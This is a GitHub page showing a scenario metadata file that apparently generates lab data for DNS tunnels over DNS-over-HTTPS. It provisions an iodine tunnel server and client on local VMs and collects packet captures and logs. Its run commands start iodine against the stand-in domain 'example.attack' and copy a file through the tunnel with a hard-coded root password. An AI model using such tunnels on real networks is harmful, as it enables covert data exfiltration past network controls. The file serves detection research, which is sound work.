-
Notifications
You must be signed in to change notification settings - Fork 0
/
.metadata
6 lines (3 loc) · 2.06 KB
/
.metadata
1
2
3
4
5
execution_time: 2022-05-07 15:14:08.671422
variables: {"record_type": "mx", "encoding": "base32", "passphrase": "0xDEADBEEF"}
scenario: {"name": "DNS Tunnel over DoH Scenario", "description": "\"This Scenario runs DNS Tunnels over DoH\"\n", "provisioner": "vagrant", "use_default_templates": true, "components": [{"name": "dnsoverhttps", "ipv4_address": "192.168.0.10", "description": "Installation of DNS-over-HTTPS server.", "image": "ubuntu/focal64", "setup": {"type": "script", "val": "dns-over-https.bash"}, "run": {"type": "shell", "val": "sudo systemctl stop systemd-resolved; sudo systemctl restart doh-server.service; sudo systemctl restart nginx.service; "}, "artifacts_to_collect": [{"type": "pcap", "val": ["tcpdump -i any -s 0 -n -w /tmp/dns.pcap port 53 or port 443 or port 8053"]}, {"type": "files", "val": ["/var/log/nginx/dns.access.log", "/var/log/doh-server.log", "/tmp/filebeat.json*", "/tmp/dns.pcap"]}, {"type": "filebeat", "val": ["/var/log/nginx/dns.access.log", "/var/log/doh-server.log"]}]}, {"name": "iodine_server", "ipv4_address": "192.168.0.20", "description": "This sets up the IODINE server.", "image": "ubuntu/focal64", "setup": {"type": "ansible", "val": "iodine_server_setup"}, "run": {"type": "shell", "val": "nohup asciinema rec /tmp/iodine_server_mx_base32_0xDEADBEEF.cast -c \\'set -x; iodined -4 -c -f 10.0.0.1 example.attack -P 0xDEADBEEF & sleep 1\\'"}, "artifacts_to_collect": [{"type": "files", "val": ["/tmp/*.cast"]}]}, {"name": "iodine_client", "ipv4_address": "192.168.0.30", "description": "This sets up the IODINE client.", "image": "ubuntu/focal64", "setup": {"type": "script", "val": "iodine_client_setup.bash"}, "run": {"type": "shell", "val": "set -x; (iodine -4 -f -P 0xDEADBEEF -Tmx -Obase32 -r 127.0.0.1 example.attack) & sleep 20; rsync -P --rsh=\"sshpass -p root ssh -l root -oStrictHostKeyChecking=no\" 10.0.0.1:/root/test-file /tmp/"}, "artifacts_to_collect": [{"type": "files", "val": ["/tmp/*.cast"]}, {"type": "cli_recording", "val": ["/tmp/iodine_client_mx_base32_0xDEADBEEF.cast"]}], "depends_on": ["dns_attack_server", "dns_server"]}]}